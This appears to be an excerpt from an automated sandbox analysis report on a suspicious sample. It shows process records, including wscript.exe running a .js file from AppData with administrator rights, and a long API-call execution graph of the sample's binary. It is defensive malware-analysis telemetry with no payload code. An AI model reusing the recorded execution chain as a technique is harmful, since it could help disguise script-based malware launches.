              Target ID:9
              Start time:09:47:02
              Start date:08/01/2025
              Path:C:\Windows\System32\conhost.exe
              Wow64 process (32bit):false
              Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
              Imagebase:0x7ff66e660000
              File size:862'208 bytes
              MD5 hash:0D698AF330FD17BEE3BF90011D49251D
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:C, C++ or other language
              Reputation:high
              Has exited:true

              General

              Target ID:10
              Start time:09:47:03
              Start date:08/01/2025
              Path:C:\Windows\SysWOW64\wscript.exe
              Wow64 process (32bit):true
              Commandline:C:\Windows\SysWOW64\wscript.exe "C:\Users\user\AppData\Local\9e146be90.js" 188
              Imagebase:0x7d0000
              File size:147'456 bytes
              MD5 hash:FF00E0480075B095948000BDC66E81F0
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:C, C++ or other language
              Reputation:high
              Has exited:false

              General

              Target ID:11
              Start time:09:47:05
              Start date:08/01/2025
              Path:C:\Windows\SysWOW64\wscript.exe
              Wow64 process (32bit):true
              Commandline:C:\Windows\SysWOW64\wscript.exe "C:\Users\user\AppData\Local\9e146be90.js" 188
              Imagebase:0x7d0000
              File size:147'456 bytes
              MD5 hash:FF00E0480075B095948000BDC66E81F0
              Has elevated privileges:true
              Has administrator privileges:true
              Programmed in:C, C++ or other language
              Reputation:high
              Has exited:false

              Disassembly

              Reset < >

                Execution Graph

                Execution Coverage:9.3%
                Dynamic/Decrypted Code Coverage:0%
                Signature Coverage:10.2%
                Total number of Nodes:1436
                Total number of Limit Nodes:31
                execution_graph 24734 bde0bf 27 API calls pre_c_initialization 24799 bedeb4 51 API calls 24829 bdb576 98 API calls 4 library calls 24830 beabb1 GetCommandLineA GetCommandLineW 22957 bdcbad 22958 bdcbba 22957->22958 22965 bcda8b 22958->22965 22977 bccf62 22965->22977 22968 bcdac9 LoadStringW 22969 bcdaf1 22968->22969 22970 bcdadf LoadStringW 22968->22970 22971 bc3f53 22969->22971 22970->22969 22994 bc3f26 22971->22994 22974 bda3fb PeekMessageW 22975 bda437 22974->22975 22976 bda416 KiUserCallbackDispatcher TranslateMessage DispatchMessageW 22974->22976 22976->22975 22982 bcce9b 22977->22982 22979 bccf7f 22980 bccf94 22979->22980 22990 bccfa0 26 API calls 22979->22990 22980->22968 22980->22969 22983 bcceb6 22982->22983 22989 bcceaf _strncpy 22982->22989 22985 bcceda 22983->22985 22991 bd1222 WideCharToMultiByte 22983->22991 22988 bccf0b 22985->22988 22992 bcda25 50 API calls __vsnprintf 22985->22992 22993 be4eb6 26 API calls 3 library calls 22988->22993 22989->22979 22990->22980 22991->22985 22992->22988 22993->22989 22995 bc3f3d ___scrt_initialize_default_local_stdio_options 22994->22995 22998 be4d39 22995->22998 23001 be2e17 22998->23001 23002 be2e3f 23001->23002 23003 be2e57 23001->23003 23018 be7f42 20 API calls _free 23002->23018 23003->23002 23005 be2e5f 23003->23005 23020 be33b6 23005->23020 23006 be2e44 23019 be7e21 26 API calls ___std_exception_copy 23006->23019 23011 bde243 DloadUnlock 5 API calls 23013 bc3f47 SetDlgItemTextW 23011->23013 23012 be2ee7 23029 be3766 51 API calls 4 library calls 23012->23029 23013->22974 23016 be2e4f 23016->23011 23017 be2ef2 23030 be3439 20 API calls _free 23017->23030 23018->23006 23019->23016 23021 be2e6f 23020->23021 23022 be33d3 23020->23022 23028 be3381 20 API calls 2 library calls 23021->23028 23022->23021 23031 be8571 GetLastError 23022->23031 23024 be33f4 23052 be86c0 38 API calls __fassign 23024->23052 23026 be340d 23053 be86ed 38 API calls __fassign 23026->23053 23028->23012 23029->23017 23030->23016 23032 be8587 23031->23032 23033 be8593 23031->23033 23054 be9bae 11 API calls 2 library calls 23032->23054 23055 be7b91 20 API calls 2 library calls 23033->23055 23036 be858d 23036->23033 23038 be85dc SetLastError 23036->23038 23037 be859f 23039 be85a7 23037->23039 23062 be9c04 11 API calls 2 library calls 23037->23062 23038->23024 23056 be7ac6 23039->23056 23041 be85bc 23041->23039 23043 be85c3 23041->23043 23063 be83e3 20 API calls _free 23043->23063 23044 be85ad 23046 be85e8 SetLastError 23044->23046 23064 be7b4e 38 API calls _abort 23046->23064 23047 be85ce 23049 be7ac6 _free 20 API calls 23047->23049 23051 be85d5 23049->23051 23051->23038 23051->23046 23052->23026 23053->23021 23054->23036 23055->23037 23057 be7afa _free 23056->23057 23058 be7ad1 RtlFreeHeap 23056->23058 23057->23044 23058->23057 23059 be7ae6 23058->23059 23065 be7f42 20 API calls _free 23059->23065 23061 be7aec GetLastError 23061->23057 23062->23041 23063->23047 23065->23061 24770 bdb576 103 API calls 4 library calls 24771 bd91a8 10 API calls 24800 be9e9e 27 API calls 2 library calls 24735 be6c99 52 API calls 2 library calls 24837 be6f93 55 API calls _free 24682 bc1092 24687 bc5b2d 24682->24687 24688 bc5b37 __EH_prolog 24687->24688 24689 bcadbf 77 API calls 24688->24689 24690 bc5b43 24689->24690 24694 bc5d22 GetCurrentProcess GetProcessAffinityMask 24690->24694 24695 bdd293 24697 bdd264 24695->24697 24696 bdd58f ___delayLoadHelper2@8 19 API calls 24696->24697 24697->24695 24697->24696 24801 bdb576 93 API calls 3 library calls 24736 be1480 6 API calls 3 library calls 24802 bdc2fd 70 API calls 24803 be0afe RaiseException 24737 beacfc GetProcessHeap 22913 bdd1f9 19 API calls ___delayLoadHelper2@8 24774 be75f8 8 API calls ___vcrt_uninitialize 24775 bde1f6 20 API calls 24807 bc16f3 79 API calls 24840 bf0be6 CloseHandle 24841 bd87e6 6 API calls 24019 bc9cd8 24020 bc9ceb 24019->24020 24024 bc9ce4 24019->24024 24021 bc9cf1 GetStdHandle 24020->24021 24023 bc9cfc 24020->24023 24021->24023 24022 bc9d51 WriteFile 24022->24023 24023->24022 24023->24024 24025 bc9d1c 24023->24025 24026 bc9d21 WriteFile 24023->24026 24028 bc9dc4 24023->24028 24030 bc6d6f 60 API calls 24023->24030 24025->24023 24025->24026 24026->24023 24026->24025 24031 bc6fb0 70 API calls 24028->24031 24030->24023 24031->24024 24096 bde0d1 24097 bde0dd ___scrt_is_nonwritable_in_current_image 24096->24097 24122 bddbe6 24097->24122 24099 bde0e4 24101 bde10d 24099->24101 24202 bde4f5 IsProcessorFeaturePresent IsDebuggerPresent SetUnhandledExceptionFilter UnhandledExceptionFilter ___scrt_fastfail 24099->24202 24106 bde14c ___scrt_is_nonwritable_in_current_image ___scrt_release_startup_lock 24101->24106 24133 be783b 24101->24133 24105 bde12c ___scrt_is_nonwritable_in_current_image 24112 bde1ac 24106->24112 24203 be683e 38 API calls 3 library calls 24106->24203 24141 bde610 24112->24141 24117 bde1d8 24119 bde1e1 24117->24119 24204 be6c26 28 API calls _abort 24117->24204 24205 bddd5d 13 API calls 2 library calls 24119->24205 24123 bddbef 24122->24123 24206 bde34b IsProcessorFeaturePresent 24123->24206 24125 bddbfb 24207 be15e6 24125->24207 24127 bddc00 24128 bddc04 24127->24128 24216 be7678 24127->24216 24128->24099 24131 bddc1b 24131->24099 24134 be7852 24133->24134 24135 bde243 DloadUnlock 5 API calls 24134->24135 24136 bde126 24135->24136 24136->24105 24137 be77df 24136->24137 24139 be780e 24137->24139 24138 bde243 DloadUnlock 5 API calls 24140 be7837 24138->24140 24139->24138 24140->24106 24266 bde920 24141->24266 24143 bde623 GetStartupInfoW 24144 bde1b2 24143->24144 24145 be778c 24144->24145 24268 bea80e 24145->24268 24147 be7795 24149 bde1bb 24147->24149 24272 beab99 38 API calls 24147->24272 24150 bdcc0e 24149->24150 24393 bcfd60 24150->24393 24154 bdcc2d 24442 bd9b13 24154->24442 24156 bdcc36 24446 bd103f GetCPInfo 24156->24446 24158 bdcc40 ___scrt_fastfail 24159 bdcc53 GetCommandLineW 24158->24159 24160 bdcce0 GetModuleFileNameW SetEnvironmentVariableW GetLocalTime 24159->24160 24161 bdcc62 24159->24161 24162 bc3f53 _swprintf 51 API calls 24160->24162 24449 bdb3b1 24161->24449 24164 bdcd49 SetEnvironmentVariableW GetModuleHandleW LoadIconW 24162->24164 24460 bda553 LoadBitmapW 24164->24460 24167 bdccda 24454 bdc8e7 24167->24454 24168 bdcc70 OpenFileMappingW 24171 bdcc89 MapViewOfFile 24168->24171 24172 bdccd0 CloseHandle 24168->24172 24174 bdcc9a __vswprintf_c_l 24171->24174 24175 bdccc7 UnmapViewOfFile 24171->24175 24172->24160 24178 bdc8e7 2 API calls 24174->24178 24175->24172 24180 bdccb6 24178->24180 24180->24175 24181 bd846f 8 API calls 24182 bdcda2 DialogBoxParamW 24181->24182 24183 bdcddc 24182->24183 24184 bdcdee Sleep 24183->24184 24185 bdcdf5 24183->24185 24184->24185 24187 bdce03 24185->24187 24488 bd9d14 CompareStringW SetCurrentDirectoryW ___scrt_fastfail 24185->24488 24188 bdce22 DeleteObject 24187->24188 24189 bdce3c 24188->24189 24190 bdce39 DeleteObject 24188->24190 24191 bdce6d 24189->24191 24192 bdce7f 24189->24192 24190->24189 24489 bdc946 WaitForSingleObject PeekMessageW WaitForSingleObject 24191->24489 24486 bd9b7b 24192->24486 24195 bdce73 CloseHandle 24195->24192 24196 bdceb9 24197 be6b5a GetModuleHandleW 24196->24197 24198 bde1ce 24197->24198 24198->24117 24199 be6c83 24198->24199 24631 be6a00 24199->24631 24202->24099 24203->24112 24204->24119 24205->24105 24206->24125 24208 be15eb ___vcrt_initialize_pure_virtual_call_handler ___vcrt_initialize_winapi_thunks 24207->24208 24220 be26ce 24208->24220 24212 be1601 24213 be160c 24212->24213 24234 be270a DeleteCriticalSection 24212->24234 24213->24127 24215 be15f9 24215->24127 24262 bead17 24216->24262 24219 be160f 8 API calls 3 library calls 24219->24128 24222 be26d7 24220->24222 24223 be2700 24222->24223 24224 be15f5 24222->24224 24235 be2962 24222->24235 24240 be270a DeleteCriticalSection 24223->24240 24224->24215 24226 be1726 24224->24226 24255 be2877 24226->24255 24228 be1730 24229 be173b 24228->24229 24260 be2925 6 API calls try_get_function 24228->24260 24229->24212 24231 be1749 24232 be1756 24231->24232 24261 be1759 6 API calls ___vcrt_FlsFree 24231->24261 24232->24212 24234->24215 24241 be2756 24235->24241 24238 be2999 InitializeCriticalSectionAndSpinCount 24239 be2985 24238->24239 24239->24222 24240->24224 24242 be278a 24241->24242 24243 be2786 24241->24243 24242->24238 24242->24239 24243->24242 24246 be27aa 24243->24246 24248 be27f6 24243->24248 24245 be27b6 GetProcAddress 24247 be27c6 __crt_fast_encode_pointer 24245->24247 24246->24242 24246->24245 24247->24242 24249 be281e LoadLibraryExW 24248->24249 24253 be2813 24248->24253 24250 be283a GetLastError 24249->24250 24251 be2852 24249->24251 24250->24251 24254 be2845 LoadLibraryExW 24250->24254 24252 be2869 FreeLibrary 24251->24252 24251->24253 24252->24253 24253->24243 24254->24251 24256 be2756 try_get_function 5 API calls 24255->24256 24257 be2891 24256->24257 24258 be28a9 TlsAlloc 24257->24258 24259 be289a 24257->24259 24259->24228 24260->24231 24261->24229 24263 bead30 24262->24263 24264 bde243 DloadUnlock 5 API calls 24263->24264 24265 bddc0d 24264->24265 24265->24131 24265->24219 24267 bde937 24266->24267 24267->24143 24267->24267 24269 bea820 24268->24269 24270 bea817 24268->24270 24269->24147 24273 bea70d 24270->24273 24272->24147 24274 be8571 pre_c_initialization 38 API calls 24273->24274 24275 bea71a 24274->24275 24293 bea82c 24275->24293 24277 bea722 24302 bea4a1 24277->24302 24280 be7b00 __onexit 21 API calls 24281 bea74a 24280->24281 24282 bea77c 24281->24282 24309 bea8ce 24281->24309 24285 be7ac6 _free 20 API calls 24282->24285 24287 bea739 24285->24287 24286 bea777 24319 be7f42 20 API calls _free 24286->24319 24287->24269 24289 bea7c0 24289->24282 24320 bea377 26 API calls 24289->24320 24290 bea794 24290->24289 24291 be7ac6 _free 20 API calls 24290->24291 24291->24289 24294 bea838 ___scrt_is_nonwritable_in_current_image 24293->24294 24295 be8571 pre_c_initialization 38 API calls 24294->24295 24300 bea842 24295->24300 24297 bea8c6 ___scrt_is_nonwritable_in_current_image 24297->24277 24300->24297 24301 be7ac6 _free 20 API calls 24300->24301 24321 be7b4e 38 API calls _abort 24300->24321 24322 be998c EnterCriticalSection 24300->24322 24323 bea8bd LeaveCriticalSection _abort 24300->24323 24301->24300 24303 be33b6 __fassign 38 API calls 24302->24303 24304 bea4b3 24303->24304 24305 bea4d4 24304->24305 24306 bea4c2 GetOEMCP 24304->24306 24307 bea4eb 24305->24307 24308 bea4d9 GetACP 24305->24308 24306->24307 24307->24280 24307->24287 24308->24307 24310 bea4a1 40 API calls 24309->24310 24312 bea8ed 24310->24312 24311 bea8f4 24314 bde243 DloadUnlock 5 API calls 24311->24314 24312->24311 24313 bea963 ___scrt_fastfail 24312->24313 24316 bea93e IsValidCodePage 24312->24316 24324 bea579 GetCPInfo 24313->24324 24315 bea76f 24314->24315 24315->24286 24315->24290 24316->24311 24317 bea950 GetCPInfo 24316->24317 24317->24311 24317->24313 24319->24282 24320->24282 24322->24300 24323->24300 24325 bea65d 24324->24325 24326 bea5b3 24324->24326 24329 bde243 DloadUnlock 5 API calls 24325->24329 24334 beb645 24326->24334 24331 bea709 24329->24331 24331->24311 24333 be981d __vswprintf_c_l 43 API calls 24333->24325 24335 be33b6 __fassign 38 API calls 24334->24335 24336 beb665 MultiByteToWideChar 24335->24336 24338 beb73b 24336->24338 24339 beb6a3 24336->24339 24340 bde243 DloadUnlock 5 API calls 24338->24340 24341 be7b00 __onexit 21 API calls 24339->24341 24344 beb6c4 __vsnwprintf_l ___scrt_fastfail 24339->24344 24342 bea614 24340->24342 24341->24344 24348 be981d 24342->24348 24343 beb735 24353 be9868 20 API calls _free 24343->24353 24344->24343 24346 beb709 MultiByteToWideChar 24344->24346 24346->24343 24347 beb725 GetStringTypeW 24346->24347 24347->24343 24349 be33b6 __fassign 38 API calls 24348->24349 24350 be9830 24349->24350 24354 be9600 24350->24354 24353->24338 24355 be961b __vswprintf_c_l 24354->24355 24356 be9641 MultiByteToWideChar 24355->24356 24357 be966b 24356->24357 24358 be97f5 24356->24358 24361 be7b00 __onexit 21 API calls 24357->24361 24363 be968c __vsnwprintf_l 24357->24363 24359 bde243 DloadUnlock 5 API calls 24358->24359 24360 be9808 24359->24360 24360->24333 24361->24363 24362 be96d5 MultiByteToWideChar 24364 be96ee 24362->24364 24376 be9741 24362->24376 24363->24362 24363->24376 24381 be9cbf 24364->24381 24368 be9718 24372 be9cbf __vswprintf_c_l 11 API calls 24368->24372 24368->24376 24369 be9750 24370 be9771 __vsnwprintf_l 24369->24370 24373 be7b00 __onexit 21 API calls 24369->24373 24371 be97e6 24370->24371 24374 be9cbf __vswprintf_c_l 11 API calls 24370->24374 24389 be9868 20 API calls _free 24371->24389 24372->24376 24373->24370 24377 be97c5 24374->24377 24390 be9868 20 API calls _free 24376->24390 24377->24371 24378 be97d4 WideCharToMultiByte 24377->24378 24378->24371 24379 be9814 24378->24379 24391 be9868 20 API calls _free 24379->24391 24382 be99eb _free 5 API calls 24381->24382 24383 be9ce6 24382->24383 24386 be9cef 24383->24386 24392 be9d47 10 API calls 3 library calls 24383->24392 24385 be9d2f LCMapStringW 24385->24386 24387 bde243 DloadUnlock 5 API calls 24386->24387 24388 be9705 24387->24388 24388->24368 24388->24369 24388->24376 24389->24376 24390->24358 24391->24376 24392->24385 24394 bdd9c0 24393->24394 24395 bcfd6a GetModuleHandleW 24394->24395 24396 bcfd84 GetProcAddress 24395->24396 24397 bcfdd5 24395->24397 24399 bcfdad GetProcAddress 24396->24399 24400 bcfd9d 24396->24400 24398 bd010a GetModuleFileNameW 24397->24398 24496 be66d8 42 API calls 2 library calls 24397->24496 24413 bd0125 24398->24413 24399->24397 24402 bcfdb9 24399->24402 24400->24399 24402->24397 24403 bd0048 24403->24398 24404 bd0053 GetModuleFileNameW CreateFileW 24403->24404 24405 bd00fe CloseHandle 24404->24405 24406 bd0082 SetFilePointer 24404->24406 24405->24398 24406->24405 24407 bd0092 ReadFile 24406->24407 24407->24405 24410 bd00b1 24407->24410 24408 bcaa39 GetVersionExW 24408->24413 24410->24405 24412 bcfd16 2 API calls 24410->24412 24411 bd015a CompareStringW 24411->24413 24412->24410 24413->24408 24413->24411 24414 bd01a4 24413->24414 24415 bd0190 GetFileAttributesW 24413->24415 24490 bcfd16 24413->24490 24416 bd01b1 24414->24416 24419 bd01e3 24414->24419 24415->24413 24415->24414 24418 bd01c9 GetFileAttributesW 24416->24418 24420 bd01dd 24416->24420 24417 bd02f2 24441 bd966b GetCurrentDirectoryW 24417->24441 24418->24416 24418->24420 24419->24417 24421 bcaa39 GetVersionExW 24419->24421 24420->24419 24422 bd01fd 24421->24422 24423 bd026a 24422->24423 24424 bd0204 24422->24424 24426 bc3f53 _swprintf 51 API calls 24423->24426 24425 bcfd16 2 API calls 24424->24425 24428 bd020e 24425->24428 24427 bd0292 AllocConsole 24426->24427 24429 bd029f GetCurrentProcessId AttachConsole 24427->24429 24430 bd02ea ExitProcess 24427->24430 24431 bcfd16 2 API calls 24428->24431 24497 be2b93 24429->24497 24433 bd0218 24431->24433 24435 bcda8b 53 API calls 24433->24435 24434 bd02c0 GetStdHandle WriteConsoleW Sleep FreeConsole 24434->24430 24436 bd0233 24435->24436 24437 bc3f53 _swprintf 51 API calls 24436->24437 24438 bd0246 24437->24438 24439 bcda8b 53 API calls 24438->24439 24440 bd0255 24439->24440 24440->24430 24441->24154 24443 bcfd16 2 API calls 24442->24443 24444 bd9b27 OleInitialize 24443->24444 24445 bd9b4a GdiplusStartup SHGetMalloc 24444->24445 24445->24156 24447 bd1063 IsDBCSLeadByte 24446->24447 24447->24447 24448 bd107b 24447->24448 24448->24158 24453 bdb3bb 24449->24453 24450 bdb4d1 24450->24167 24450->24168 24451 bd1429 CharUpperW 24451->24453 24453->24450 24453->24451 24499 bce942 75 API calls ___scrt_fastfail 24453->24499 24455 bdd9c0 24454->24455 24456 bdc8f4 SetEnvironmentVariableW 24455->24456 24457 bdc917 24456->24457 24458 bdc93f 24457->24458 24459 bdc933 SetEnvironmentVariableW 24457->24459 24458->24160 24459->24458 24461 bda57d GetObjectW 24460->24461 24462 bda574 24460->24462 24464 bd959d 6 API calls 24461->24464 24500 bd96ad FindResourceW 24462->24500 24466 bda58f 24464->24466 24467 bda5d0 24466->24467 24468 bda5b0 24466->24468 24469 bd96ad 13 API calls 24466->24469 24478 bccff4 24467->24478 24516 bd95ff GetDC GetDeviceCaps ReleaseDC 24468->24516 24471 bda5a5 24469->24471 24471->24468 24473 bda5ab DeleteObject 24471->24473 24472 bda5b8 24517 bd95bc GetDC GetDeviceCaps ReleaseDC 24472->24517 24473->24468 24475 bda5c1 24518 bd97d0 8 API calls ___scrt_fastfail 24475->24518 24477 bda5c8 DeleteObject 24477->24467 24527 bcd019 24478->24527 24480 bcd000 24567 bcd70a GetModuleHandleW FindResourceW 24480->24567 24483 bd846f 24484 bdd880 new 8 API calls 24483->24484 24485 bd848e 24484->24485 24485->24181 24487 bd9ba1 GdiplusShutdown CoUninitialize 24486->24487 24487->24196 24488->24187 24489->24195 24491 bdd9c0 24490->24491 24492 bcfd23 GetSystemDirectoryW 24491->24492 24493 bcfd59 24492->24493 24494 bcfd3b 24492->24494 24493->24413 24495 bcfd4c LoadLibraryW 24494->24495 24495->24493 24496->24403 24498 be2b9b 24497->24498 24498->24434 24498->24498 24499->24453 24501 bd96ce SizeofResource 24500->24501 24502 bd9700 24500->24502 24501->24502 24503 bd96e2 LoadResource 24501->24503 24502->24461 24503->24502 24504 bd96f3 LockResource 24503->24504 24504->24502 24505 bd9707 GlobalAlloc 24504->24505 24505->24502 24506 bd971e GlobalLock 24505->24506 24507 bd9729 __vswprintf_c_l 24506->24507 24508 bd9795 GlobalFree 24506->24508 24509 bd9731 CreateStreamOnHGlobal 24507->24509 24508->24502 24510 bd978e GlobalUnlock 24509->24510 24511 bd9749 24509->24511 24510->24508 24519 bd9642 GdipAlloc 24511->24519 24514 bd976d GdipCreateHBITMAPFromBitmap 24515 bd9783 24514->24515 24515->24510 24516->24472 24517->24475 24518->24477 24520 bd9654 24519->24520 24521 bd9661 24519->24521 24523 bd9401 24520->24523 24521->24510 24521->24514 24521->24515 24524 bd9429 GdipCreateBitmapFromStream 24523->24524 24525 bd9422 GdipCreateBitmapFromStreamICM 24523->24525 24526 bd942e 24524->24526 24525->24526 24526->24521 24528 bcd027 _wcschr __EH_prolog 24527->24528 24529 bcd056 GetModuleFileNameW 24528->24529 24530 bcd087 24528->24530 24531 bcd070 24529->24531 24569 bc980c 24530->24569 24531->24530 24533 bcd0e3 24580 be5070 26 API calls 3 library calls 24533->24580 24534 bc9506 74 API calls 24535 bcd481 24534->24535 24535->24480 24536 bd3406 71 API calls 24538 bcd0b7 24536->24538 24538->24533 24538->24536 24551 bcd303 24538->24551 24539 bcd0f6 24581 be5070 26 API calls 3 library calls 24539->24581 24541 bcd23f 24542 bc9af0 72 API calls 24541->24542 24541->24551 24545 bcd259 new 24542->24545 24546 bc9a1d 75 API calls 24545->24546 24545->24551 24549 bcd282 new 24546->24549 24548 bcd108 24548->24541 24548->24551 24582 bc9bfb 24548->24582 24590 bc9a1d 24548->24590 24598 bc9af0 24548->24598 24549->24551 24564 bcd28e new 24549->24564 24603 bd1006 MultiByteToWideChar 24549->24603 24551->24534 24552 bcd404 24604 bccb85 71 API calls 24552->24604 24554 bcd6cc 24609 bccb85 71 API calls 24554->24609 24556 bcd6bc 24556->24480 24557 bcd447 24605 be5070 26 API calls 3 library calls 24557->24605 24559 bcd418 24559->24557 24561 bd3406 71 API calls 24559->24561 24560 bcd461 24606 be5070 26 API calls 3 library calls 24560->24606 24561->24559 24563 bd1222 WideCharToMultiByte 24563->24564 24564->24551 24564->24552 24564->24554 24564->24556 24564->24563 24607 bcda25 50 API calls __vsnprintf 24564->24607 24608 be4eb6 26 API calls 3 library calls 24564->24608 24568 bcd007 24567->24568 24568->24483 24570 bc9816 24569->24570 24571 bc9895 CreateFileW 24570->24571 24572 bc98b5 GetLastError 24571->24572 24573 bc9906 24571->24573 24575 bcb3c9 2 API calls 24572->24575 24574 bc993d 24573->24574 24576 bc9923 SetFileTime 24573->24576 24574->24538 24577 bc98d5 24575->24577 24576->24574 24577->24573 24578 bc98d9 CreateFileW GetLastError 24577->24578 24579 bc98fd 24578->24579 24579->24573 24580->24539 24581->24548 24583 bc9c0e 24582->24583 24584 bc9c1f SetFilePointer 24582->24584 24586 bc9c58 24583->24586 24610 bc6ef7 70 API calls 24583->24610 24585 bc9c3d GetLastError 24584->24585 24584->24586 24585->24586 24588 bc9c47 24585->24588 24586->24548 24588->24586 24611 bc6ef7 70 API calls 24588->24611 24591 bc9a34 24590->24591 24593 bc9a87 24591->24593 24595 bc9a95 24591->24595 24596 bc9a97 24591->24596 24612 bc96e2 24591->24612 24624 bc6ebd 70 API calls 24593->24624 24595->24548 24596->24595 24597 bc96e2 5 API calls 24596->24597 24597->24596 24625 bc99a7 24598->24625 24601 bc9b1b 24601->24548 24603->24564 24604->24559 24605->24560 24606->24551 24607->24564 24608->24564 24609->24556 24610->24584 24611->24586 24613 bc96fb ReadFile 24612->24613 24614 bc96f0 GetStdHandle 24612->24614 24615 bc9734 24613->24615 24616 bc9714 24613->24616 24614->24613 24615->24591 24617 bc97e9 GetFileType 24616->24617 24618 bc971b 24617->24618 24619 bc9729 24618->24619 24620 bc973c GetLastError 24618->24620 24621 bc974b 24618->24621 24622 bc96e2 GetFileType 24619->24622 24620->24615 24620->24621 24621->24615 24623 bc975b GetLastError 24621->24623 24622->24615 24623->24615 24623->24619 24624->24595 24626 bc9a12 24625->24626 24627 bc99b3 24625->24627 24626->24601 24630 bc6ef7 70 API calls 24626->24630 24628 bc99ea SetFilePointer 24627->24628 24628->24626 24629 bc9a08 GetLastError 24628->24629 24629->24626 24630->24601 24632 be6a0c _GetRangeOfTrysToCheck 24631->24632 24633 be6a24 24632->24633 24634 be6b5a _abort GetModuleHandleW 24632->24634 24653 be998c EnterCriticalSection 24633->24653 24636 be6a18 24634->24636 24636->24633 24665 be6b9e GetModuleHandleExW 24636->24665 24639 be6a2c 24649 be6aa1 24639->24649 24652 be6aca 24639->24652 24673 be7506 20 API calls _abort 24639->24673 24641 be6ae7 24657 be6b19 24641->24657 24642 be6b13 24674 bf0f19 5 API calls DloadUnlock 24642->24674 24646 be77df _abort 5 API calls 24651 be6ab9 24646->24651 24647 be77df _abort 5 API calls 24647->24652 24649->24646 24649->24651 24651->24647 24654 be6b0a 24652->24654 24653->24639 24675 be99d4 LeaveCriticalSection 24654->24675 24656 be6ae3 24656->24641 24656->24642 24676 be9dc9 24657->24676 24660 be6b47 24663 be6b9e _abort 8 API calls 24660->24663 24661 be6b27 GetPEB 24661->24660 24662 be6b37 GetCurrentProcess TerminateProcess 24661->24662 24662->24660 24664 be6b4f ExitProcess 24663->24664 24666 be6beb 24665->24666 24667 be6bc8 GetProcAddress 24665->24667 24669 be6bfa 24666->24669 24670 be6bf1 FreeLibrary 24666->24670 24668 be6bdd 24667->24668 24668->24666 24671 bde243 DloadUnlock 5 API calls 24669->24671 24670->24669 24672 be6c04 24671->24672 24672->24633 24673->24649 24675->24656 24677 be9dee 24676->24677 24681 be9de4 24676->24681 24678 be99eb _free 5 API calls 24677->24678 24678->24681 24679 bde243 DloadUnlock 5 API calls 24680 be6b23 24679->24680 24680->24660 24680->24661 24681->24679 24742 bee0d1 21 API calls __vswprintf_c_l 24698 bc17cc 24699 bc17e2 24698->24699 24710 bc183d __vswprintf_c_l 24698->24710 24700 bc180b 24699->24700 24711 bc6de8 69 API calls __vswprintf_c_l 24699->24711 24701 bc186a 24700->24701 24702 bc182a new 24700->24702 24704 be2bbe 22 API calls 24701->24704 24702->24710 24713 bc6e54 70 API calls 24702->24713 24707 bc1871 24704->24707 24705 bc1801 24712 bc6e54 70 API calls 24705->24712 24707->24710 24714 bc6e54 70 API calls 24707->24714 24711->24705 24712->24700 24713->24710 24714->24710 24811 bdcec7 19 API calls ___delayLoadHelper2@8 24745 bda03c 73 API calls 24746 bda43c 103 API calls 24845 bce73e FreeLibrary 24813 bde239 GetSystemTimeAsFileTime GetCurrentThreadId GetCurrentProcessId QueryPerformanceCounter ___security_init_cookie 24814 bdf230 51 API calls 2 library calls 23066 bda62c 23067 bda636 __EH_prolog 23066->23067 23229 bc12d7 23067->23229 23070 bdad0d 23309 bdc399 23070->23309 23071 bda678 23074 bda6ee 23071->23074 23075 bda685 23071->23075 23100 bda664 23071->23100 23078 bda78d GetDlgItemTextW 23074->23078 23084 bda708 23074->23084 23079 bda68a 23075->23079 23080 bda6c1 23075->23080 23076 bdad39 23082 bdad53 GetDlgItem SendMessageW 23076->23082 23083 bdad42 SendDlgItemMessageW 23076->23083 23077 bdad2b SendMessageW 23077->23076 23078->23080 23081 bda7c4 23078->23081 23089 bcda8b 53 API calls 23079->23089 23079->23100 23085 bda6e2 KiUserCallbackDispatcher 23080->23085 23080->23100 23087 bda7dc GetDlgItem 23081->23087 23226 bda7cd 23081->23226 23327 bd966b GetCurrentDirectoryW 23082->23327 23083->23082 23088 bcda8b 53 API calls 23084->23088 23085->23100 23091 bda816 SetFocus 23087->23091 23092 bda7f0 SendMessageW SendMessageW 23087->23092 23093 bda72a SetDlgItemTextW 23088->23093 23094 bda6a4 23089->23094 23090 bdad85 GetDlgItem 23096 bdad9e 23090->23096 23097 bdada4 SetWindowTextW 23090->23097 23098 bda826 23091->23098 23108 bda832 23091->23108 23092->23091 23114 bda738 23093->23114 23349 bc1217 SHGetMalloc 23094->23349 23096->23097 23328 bd9aa5 GetClassNameW 23097->23328 23103 bcda8b 53 API calls 23098->23103 23099 bda6ab 23099->23100 23104 bda6af SetDlgItemTextW 23099->23104 23101 bdacad 23105 bcda8b 53 API calls 23101->23105 23128 bda830 23103->23128 23104->23100 23109 bdacbd SetDlgItemTextW 23105->23109 23106 bda745 GetMessageW 23106->23100 23106->23114 23115 bcda8b 53 API calls 23108->23115 23111 bdacd1 23109->23111 23120 bcda8b 53 API calls 23111->23120 23114->23100 23114->23106 23117 bda76b TranslateMessage DispatchMessageW 23114->23117 23119 bda864 23115->23119 23116 bda887 23247 bc9dde 23116->23247 23117->23114 23118 bdadef 23122 bdae1f 23118->23122 23127 bcda8b 53 API calls 23118->23127 23123 bc3f53 _swprintf 51 API calls 23119->23123 23124 bdacfa 23120->23124 23121 bdb522 93 API calls 23121->23118 23133 bdb522 93 API calls 23122->23133 23179 bdaed7 23122->23179 23123->23128 23129 bcda8b 53 API calls 23124->23129 23132 bdae02 SetDlgItemTextW 23127->23132 23239 bdc1eb GetDlgItem 23128->23239 23129->23100 23130 bda8c3 23253 bd9b00 SetCurrentDirectoryW 23130->23253 23131 bda8bc GetLastError 23131->23130 23138 bcda8b 53 API calls 23132->23138 23139 bdae3a 23133->23139 23134 bdaf87 23135 bdaf99 23134->23135 23136 bdaf90 KiUserCallbackDispatcher 23134->23136 23140 bdafb6 23135->23140 23358 bc1294 GetDlgItem EnableWindow 23135->23358 23136->23135 23142 bdae16 SetDlgItemTextW 23138->23142 23143 bdae71 23139->23143 23150 bdae4c 23139->23150 23147 bdafe3 23140->23147 23157 bdafdd PostMessageW 23140->23157 23158 bdafd5 SendMessageW 23140->23158 23141 bda8d9 23148 bda8ec 23141->23148 23149 bda8e2 GetLastError 23141->23149 23142->23122 23145 bdae79 KiUserCallbackDispatcher 23143->23145 23146 bdaeca 23143->23146 23145->23146 23153 bdae88 23145->23153 23154 bdb522 93 API calls 23146->23154 23147->23100 23160 bcda8b 53 API calls 23147->23160 23159 bda967 23148->23159 23162 bda977 23148->23162 23165 bda904 GetTickCount 23148->23165 23149->23148 23356 bd9059 32 API calls 